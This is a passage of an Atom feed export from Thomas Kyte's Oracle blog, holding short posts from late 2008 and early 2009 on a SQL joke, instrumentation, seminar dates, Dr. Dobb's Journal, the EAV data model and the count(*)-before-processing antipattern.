&lt;/em&gt;&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;250 characters.&amp;nbsp; I shall have to choose my words carefully...&amp;nbsp; I should have it written in Kanji to see if they support multi-byte and truly support 250 characters.&amp;nbsp; Or if it is really 250 bytes.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-3199357567645823501?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/3199357567645823501/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=3199357567645823501' title='10 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/3199357567645823501'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/3199357567645823501'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2009/02/missing-point.html' title='Missing. The. Point....'/><author><name>Thomas Kyte</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_Adb4DobPwb8/S83ngQWjOKI/AAAAAAAAABY/n0ZnSKI8OIk/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>10</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-7334628146853738658</id><published>2009-02-05T21:59:00.001-05:00</published><updated>2009-02-05T22:02:09.453-05:00</updated><title type='text'>A SQL Joke</title><content type='html'>&lt;p&gt;I don't think I've seen one before.&amp;#160; An actual &amp;quot;joke&amp;quot; about SQL&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;&lt;em&gt;A SQL query walks into a bar and sees two tables. He walks up to them and says 'Can I join you?'&lt;/em&gt;&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;It is about as funny as most of my jokes.&amp;#160; All the more funny to me since I just (as in a couple of minutes ago) &lt;a href="http://asktom.oracle.com/pls/asktom/f?p=100:11:0::::P11_QUESTION_ID:2168279457908#1476605100346847404"&gt;wrote&lt;/a&gt;:&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;&lt;em&gt;Joins are what RDBMS's do for a living. &lt;/em&gt;&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;Anyway - you can hit &lt;a href="http://www.reddit.com/r/programming/comments/7v978/a_sql_query_walks_into_a_bar_and_sees_two_tables/"&gt;this link&lt;/a&gt; to see if it gets any comments...&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-7334628146853738658?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/7334628146853738658/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=7334628146853738658' title='37 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/7334628146853738658'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/7334628146853738658'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2009/02/sql-joke.html' title='A SQL Joke'/><author><name>Thomas Kyte</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_Adb4DobPwb8/S83ngQWjOKI/AAAAAAAAABY/n0ZnSKI8OIk/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>37</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-1571155012257633754</id><published>2009-02-05T14:03:00.001-05:00</published><updated>2009-02-05T14:03:19.318-05:00</updated><title type='text'>A couple of links and an advert...</title><content type='html'>&lt;h3&gt;Instrumentation&lt;/h3&gt;  &lt;p&gt;&lt;a href="http://carymillsap.blogspot.com/2009/02/on-usefulness-of-software.html"&gt;Cary Millsap has recently pointed&lt;/a&gt; to a couple of postings and quoted some people on the fine art of &lt;a href="http://tkyte.blogspot.com/2005/06/instrumentation.html"&gt;instrumentation&lt;/a&gt;.&amp;#160; He quoted me (and got it pretty much 100% - dead on) a couple of times as well.&amp;#160; I'll add a quote/story to his list of quotes...&lt;/p&gt;  &lt;p&gt;When Oracle 10g first was released - I was out and about talking about new features.&amp;#160; One of the big ones was the ASH/AWR/ADDM set of functionality.&amp;#160; One time, while presenting it an audience member raised their hand and innocently asked:&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;&lt;em&gt;What is the overhead of this, what performance impact will this have on my system&lt;/em&gt;&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;I paused for a second, thought about it, and said:&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;&lt;em&gt;Probably at least negative 10 percent or less&lt;/em&gt; (meaning more - like negative 1000%, more negative)&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;The audience now paused and we sort of looked at each other and then I explained.&amp;#160; The addition of this instrumentation/repository will allow your database to perform better than it currently is - any 'overhead' of the additional instrumentation is more than offset by the gain in performance. &lt;/p&gt;  &lt;p&gt;Instrumentation, using bind variables correctly, not swallowing exceptions (when others, not followed by RAISE), avoiding triggers (and side effects) and designing your system to perform in the first place - it is a really short list I have but everything on it has profound impact.&lt;/p&gt;  &lt;h3&gt; It's a small world&lt;/h3&gt;  &lt;p&gt;As it turns out - both Cary and I were in Utrecht, the Netherlands recently.&amp;#160; He was there one week, I was there the next (just missed each other).&amp;#160; We were both there to deliver seminars and he pointed out that someone who had been to both &lt;a href="http://carymillsap.blogspot.com/2009/02/report-about-our-course-in-utrecht.html"&gt;posted a critique&lt;/a&gt;.&amp;#160; It was neat to see how the two sessions seemed to have complimented each other.&lt;/p&gt;  &lt;p&gt;And since that is &lt;a href="http://toinevanbeckhoven.wordpress.com/2009/02/04/i-had-a-great-two-weeks-listening-to-cary-millsap-jeff-holt-and-tom-kyte/"&gt;sort of a review of my seminar&lt;/a&gt; - that brings me to the&lt;/p&gt;  &lt;h3&gt;Advert&lt;/h3&gt;  &lt;p&gt;You can see my scheduled on &lt;a href="http://asktom.oracle.com/"&gt;http://asktom.oracle.com/&lt;/a&gt; - there is a calendar there showing my public events.&amp;#160; I would like to point out that I'll be doing two day seminars in:&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;Prague, Czech Republic - March 10th-11th&lt;/li&gt;    &lt;li&gt;Athens, Greece - April 7th-8th&lt;/li&gt;    &lt;li&gt;Rome, Italy - May 18th-19th&lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;Links to information regarding pricing, location and so on are on the the site.&amp;#160; Also, any and all user groups I'm attending for the next 2-3 months is posted there as well.&amp;#160; Hope to see you at one (or more) of the events.&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-1571155012257633754?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/1571155012257633754/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=1571155012257633754' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/1571155012257633754'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/1571155012257633754'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2009/02/couple-of-links-and-advert.html' title='A couple of links and an advert...'/><author><name>Thomas Kyte</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_Adb4DobPwb8/S83ngQWjOKI/AAAAAAAAABY/n0ZnSKI8OIk/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-6774286800458897458</id><published>2009-01-16T23:54:00.001-05:00</published><updated>2009-01-16T23:54:44.934-05:00</updated><title type='text'>Ok, I feel old...</title><content type='html'>&lt;p&gt;My kids couldn't/can't do it to me (make me feel old).&lt;/p&gt;  &lt;p&gt;Physical exertion doesn't do it to me.&lt;/p&gt;  &lt;p&gt;Nothing really did that - until I read &lt;a href="http://www.retroist.com/2009/01/11/ibm-flowcharting-template/"&gt;this&lt;/a&gt;.&amp;#160; Not the blog entry - but the comments that said things like:&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;&lt;em&gt;That being said, that thing is NEAT. &lt;strong&gt;I have no idea what it is though&lt;/strong&gt;. Something to do with old punch card computers?&lt;/em&gt;&lt;/p&gt; &lt;/blockquote&gt;  &lt;blockquote&gt;   &lt;p&gt;&lt;em&gt;Nice piece of computer history, though &lt;strong&gt;I have no clue what it is&lt;/strong&gt;. =P&lt;/em&gt;&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;I had an IBM flowcharting template once (more than once), and not as a hand me down.&amp;#160; I had the little paper pouch it went into as well.&amp;#160; Ouch.&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-6774286800458897458?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/6774286800458897458/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=6774286800458897458' title='31 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/6774286800458897458'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/6774286800458897458'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2009/01/ok-i-feel-old.html' title='Ok, I feel old...'/><author><name>Thomas Kyte</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_Adb4DobPwb8/S83ngQWjOKI/AAAAAAAAABY/n0ZnSKI8OIk/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>31</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-8119613199326711259</id><published>2009-01-09T11:09:00.001-05:00</published><updated>2009-01-09T11:09:55.043-05:00</updated><title type='text'>If this Oracle gig doesn't work out...</title><content type='html'>&lt;p&gt;Maybe I can become a photographer :)&amp;#160; One of my pictures from a recent trip to Sydney Australia was chosen for inclusion in &lt;a href="http://www.schmap.com/sydney/sights_historic/p=67111/i=67111_22.jpg"&gt;a travel guide&lt;/a&gt;.&amp;#160; &lt;/p&gt;  &lt;p&gt;I don't think that picture is one of my &amp;quot;best&amp;quot;, but it was of historic building they wanted to include in the guide.&amp;#160; I wish they would have picked a better shot - I like this one myself:&lt;/p&gt; &lt;a title="IMG_3240 by tom_kyte, on Flickr" href="http://www.flickr.com/photos/tkyte/2946880988/"&gt;&lt;img height="375" alt="IMG_3240" src="http://farm4.static.flickr.com/3031/2946880988_20d3f3d9af.jpg" width="500" /&gt;&lt;/a&gt;   &lt;p&gt;And this one would have been pretty cool - if I had centered it just a little more to the left:&lt;/p&gt; &lt;a title="Queen Victoria Shopping Mall - very fancy (3) by tom_kyte, on Flickr" href="http://www.flickr.com/photos/tkyte/2931877677/"&gt;&lt;img height="375" alt="Queen Victoria Shopping Mall - very fancy (3)" src="http://farm4.static.flickr.com/3043/2931877677_35fe67fcf6.jpg" width="500" /&gt;&lt;/a&gt;   &lt;p&gt;but it was nice to be chosen...&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-8119613199326711259?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/8119613199326711259/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=8119613199326711259' title='24 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/8119613199326711259'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/8119613199326711259'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2009/01/if-this-oracle-gig-doesn-work-out.html' title='If this Oracle gig doesn&amp;#39;t work out...'/><author><name>Thomas Kyte</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_Adb4DobPwb8/S83ngQWjOKI/AAAAAAAAABY/n0ZnSKI8OIk/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://farm4.static.flickr.com/3031/2946880988_20d3f3d9af_t.jpg' height='72' width='72'/><thr:total>24</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-2437831392811488754</id><published>2009-01-08T08:51:00.001-05:00</published><updated>2009-01-08T08:51:45.427-05:00</updated><title type='text'>Happy New Year...</title><content type='html'>&lt;p&gt;&lt;a href="http://www.oracle.com/newsletters/information-indepth/database-insider/jan-09/kyte.html?msgid=7292207"&gt;Happy New Year&lt;/a&gt; to everyone...&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-2437831392811488754?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/2437831392811488754/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=2437831392811488754' title='8 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/2437831392811488754'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/2437831392811488754'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2009/01/happy-new-year.html' title='Happy New Year...'/><author><name>Thomas Kyte</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_Adb4DobPwb8/S83ngQWjOKI/AAAAAAAAABY/n0ZnSKI8OIk/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>8</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-1716417783466129867</id><published>2009-01-07T18:15:00.001-05:00</published><updated>2009-01-07T18:15:00.241-05:00</updated><title type='text'>Dr. Dobb's Journal...</title><content type='html'>&lt;p&gt;Wow, a bit of my past is &lt;a href="http://www.ericsink.com/entries/rip_dr_dobbs.html"&gt;going away&lt;/a&gt;...&amp;#160; Funny enough - I referred to that magazine &lt;em&gt;&lt;strong&gt;just today&lt;/strong&gt;&lt;/em&gt; in a talk.&amp;#160; &lt;/p&gt;  &lt;p&gt;Without Dr. Dobb's Journal - there might not be an &lt;a href="http://asktom.oracle.com/"&gt;asktom.oracle.com&lt;/a&gt; site.&lt;/p&gt;  &lt;p&gt;Why not? What is the link?&amp;#160; Dr. Dobb's is just a programmers journal after all (it and the &lt;a href="http://en.wikipedia.org/wiki/C/C%2B%2B_Users_Journal"&gt;C Users Journal&lt;/a&gt; were two subscriptions that changed my life, I learned a lot from them both).&amp;#160; Well, the link is that without Dr. Dobb's I might not have learned Oracle - or learned it much later than I did - or learned it differently, less completely.&lt;/p&gt;  &lt;p&gt;I wrote about Dr. Dobb's in the &lt;a href="http://tkyte.blogspot.com/2006/08/third-time-is-charm_04.html"&gt;foreword to a book&lt;/a&gt; once and I'll reproduce it here:&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;&lt;em&gt;In 1987 I was just graduating from college and starting my career as a software developer. I started as a PL/I programmer on IBM mainframes using two databases &amp;#8211; SQL/DS on VM/CMS and DB2 on MVS. I became familiar with SQL, but was limited as to what I could do on these production environments. &lt;/em&gt;&lt;/p&gt;    &lt;p&gt;&lt;em&gt;One day while reading a magazine, Dr. Dobbs Journal, I noticed an advertisement for a relational database that ran on DOS &amp;#8211; simple PC&amp;#8217;s. It was a product named &amp;#8220;Oracle&amp;#8221;. I clipped out the coupon &amp;#8211; filled it in and ordered this relational database for $99. About 2 weeks later &amp;#8211; a dozen or so 5-1/4&amp;#8221; floppy disks showed up in my mailbox and I had Oracle version 5.1.5c and all of the development tools I needed to start playing, learning and exploring with. I was hooked. &lt;/em&gt;&lt;/p&gt;    &lt;p&gt;&lt;em&gt;That was then, this is now &amp;#8211; and now, you have the ability to do in 10 minutes, for free what took me weeks and $99 ($166 in 2006 dollars!) in 1987 accomplish. With the introduction of Oracle Database Express Edition &amp;#8211; you can download, develop, deploy and distribute your applications for free.&lt;/em&gt; &lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;Dr. Dobb's Journal&lt;/li&gt;    &lt;li&gt;C Users Journal&lt;/li&gt;    &lt;li&gt;Borland's Turbo Pascal and Turbo C&lt;/li&gt;    &lt;li&gt;Oracle version 5.1.5c&lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;Things that changed everything for me... &lt;/p&gt;  &lt;p&gt;Slowly disappearing - well, except for Oracle of course - and C.&amp;#160; I haven't read Dr. Dobb's in a while, I still write a bit of C here and there, I definitely use Oracle everyday.&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-1716417783466129867?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/1716417783466129867/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=1716417783466129867' title='14 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/1716417783466129867'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/1716417783466129867'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2009/01/dr-dobb-journal.html' title='Dr. Dobb&amp;#39;s Journal...'/><author><name>Thomas Kyte</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_Adb4DobPwb8/S83ngQWjOKI/AAAAAAAAABY/n0ZnSKI8OIk/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>14</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-5779987919781941820</id><published>2009-01-07T11:06:00.001-05:00</published><updated>2009-01-07T11:06:33.165-05:00</updated><title type='text'>This should be fun to watch...</title><content type='html'>&lt;p&gt;On reddit - you can post a 'question' to the community.&amp;nbsp; Someone just posted "&lt;a href="http://www.reddit.com/r/programming/comments/7nzib/ask_proggit_what_is_the_worse_design_decision/"&gt;What is the worse design decision that you have made ?&lt;/a&gt;"&amp;nbsp; My favorite comment on that thread so far is this one:&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;&lt;em&gt;It started with an thought not unlike the following:&lt;/em&gt; &lt;p&gt;&lt;em&gt;"Nah, flat-file should be fine."&lt;/em&gt; &lt;p&gt;&lt;em&gt;It ended in tears. And a double digit load average.&lt;/em&gt;&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;Been there, seen that happen.&amp;nbsp; My worst design decision I personally made was when I "invented" (see below for why I say "invented") the "funky data model" - better known as an EAV (entity-attribute-value).&amp;nbsp; You know, the extensible model where all you need is four tables: &lt;ul&gt; &lt;li&gt;objects&lt;/li&gt; &lt;li&gt;attributes&lt;/li&gt; &lt;li&gt;object_attributes (objects is 1:M with object_attributes)&lt;/li&gt; &lt;li&gt;links (links objects to objects, an association table)&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;Man, I could store *anything* in there.&amp;nbsp; And it was very secure - because trying to retrieve anything was really hard.&amp;nbsp; Not only really hard, but really slow.&lt;/p&gt; &lt;p&gt;But the prototype/demo was awesome.&amp;nbsp; It never worked in real life though.&lt;/p&gt; &lt;p&gt;I used the term "invent" above.&amp;nbsp; Of course I didn't "invent" the EAV - it has existed as a concept for a long long time.&amp;nbsp; But, I see it get re-invented in relational database applications over and over and over again.&amp;nbsp; And every developer thinks for a short period of time "hey, this is so cool - I wonder why no one else has thought of this - they must not have thought of it or everyone would be doing it - I'll be famous".&lt;/p&gt; &lt;p&gt;And then they learn why not everyone is doing it :)&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-5779987919781941820?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/5779987919781941820/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=5779987919781941820' title='33 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/5779987919781941820'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/5779987919781941820'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2009/01/this-should-be-fun-to-watch.html' title='This should be fun to watch...'/><author><name>Thomas Kyte</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_Adb4DobPwb8/S83ngQWjOKI/AAAAAAAAABY/n0ZnSKI8OIk/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>33</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-8236281264005148661</id><published>2009-01-02T10:19:00.001-05:00</published><updated>2009-01-02T10:19:05.378-05:00</updated><title type='text'>All about joins...</title><content type='html'>&lt;p&gt;I've pointed to an excellent youtube database posting by Stephane Faroult in the past - about &lt;a href="http://tkyte.blogspot.com/2008/02/word-pathetic-never-sounded-so-good.html"&gt;worst practices in the entry &amp;quot;The word pathetic never sounded so good...&amp;quot;&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;He has published another &lt;a href="http://www.youtube.com/watch?v=SmDZaH855qE"&gt;short video (six minutes)&lt;/a&gt; where he stuck me between Descartes and Kipling during the story telling.&amp;#160; As he wrote me, I could have been in worse company!&lt;/p&gt;  &lt;p&gt;As before, I enjoy his style of delivery. And to see my dance floor analogy animated was sort of amusing for me.&lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;Happy New Year all!&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-8236281264005148661?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/8236281264005148661/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=8236281264005148661' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/8236281264005148661'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/8236281264005148661'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2009/01/all-about-joins.html' title='All about joins...'/><author><name>Thomas Kyte</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_Adb4DobPwb8/S83ngQWjOKI/AAAAAAAAABY/n0ZnSKI8OIk/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-6388892992334824277</id><published>2008-12-11T19:44:00.001-05:00</published><updated>2008-12-11T19:45:45.045-05:00</updated><title type='text'>Hey, they stole my line!</title><content type='html'>&lt;p&gt;I've been known to say from time to time &lt;a href="http://asktom.oracle.com/pls/ask/search?p_string=%22my+car+won%27t+start%22"&gt;&amp;quot;my car won't start, why not?&amp;quot;&lt;/a&gt; (followed many times by a &amp;quot;I've given you as much information as you gave me regarding your problem so now we are even&amp;quot;)&lt;/p&gt;  &lt;p&gt;Well, these guys stole my story!!! &lt;a title="http://notalwaysright.com/diagnostics-through-osmosis/1379" href="http://notalwaysright.com/diagnostics-through-osmosis/1379"&gt;http://notalwaysright.com/diagnostics-through-osmosis/1379&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;Very funny blog most of the time - I can feel their pain.&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-6388892992334824277?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/6388892992334824277/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=6388892992334824277' title='9 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/6388892992334824277'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/6388892992334824277'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2008/12/hey-they-stole-my-line.html' title='Hey, they stole my line!'/><author><name>Thomas Kyte</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_Adb4DobPwb8/S83ngQWjOKI/AAAAAAAAABY/n0ZnSKI8OIk/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>9</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-4647618955377579631</id><published>2008-12-11T19:06:00.001-05:00</published><updated>2008-12-11T19:06:34.424-05:00</updated><title type='text'>Doing it wrong...</title><content type='html'>&lt;p&gt;I hate queries of the following form:&lt;/p&gt;  &lt;p&gt;select count(*) from &amp;lt;anything else here&amp;gt;&lt;/p&gt;  &lt;p&gt;The reason?&amp;#160; The code typically looks something like this around the count(*):&lt;/p&gt;  &lt;pre&gt;select count(*) into l_cnt from .....;&lt;br /&gt;if ( l_cnt &amp;gt; 0 )&lt;br /&gt;then&lt;br /&gt;    process_the_data;&lt;br /&gt;end if;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;font face="Trebuchet MS"&gt;I've always wondered why that code isn't just:&lt;/font&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;process_the_data; &lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;Why bother counting - and then processing if that count was greater than zero.&amp;#160; Why not &lt;strong&gt;just process_the_data - that routine already knows how to stop when it runs out of data - just let it run out of data naturally on row zero if there is no data.&lt;/strong&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;Many people don't stop to consider that&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;br /&gt;  &lt;li&gt;The count can change between the select count(*) and the process_the_data call - there might be nothing by the time you get into the process_some_data &lt;/li&gt;&lt;br /&gt;&lt;br /&gt;  &lt;li&gt;The count can change while you are running the process_some_data call itself - you cannot use the count as &amp;quot;this is how many times to 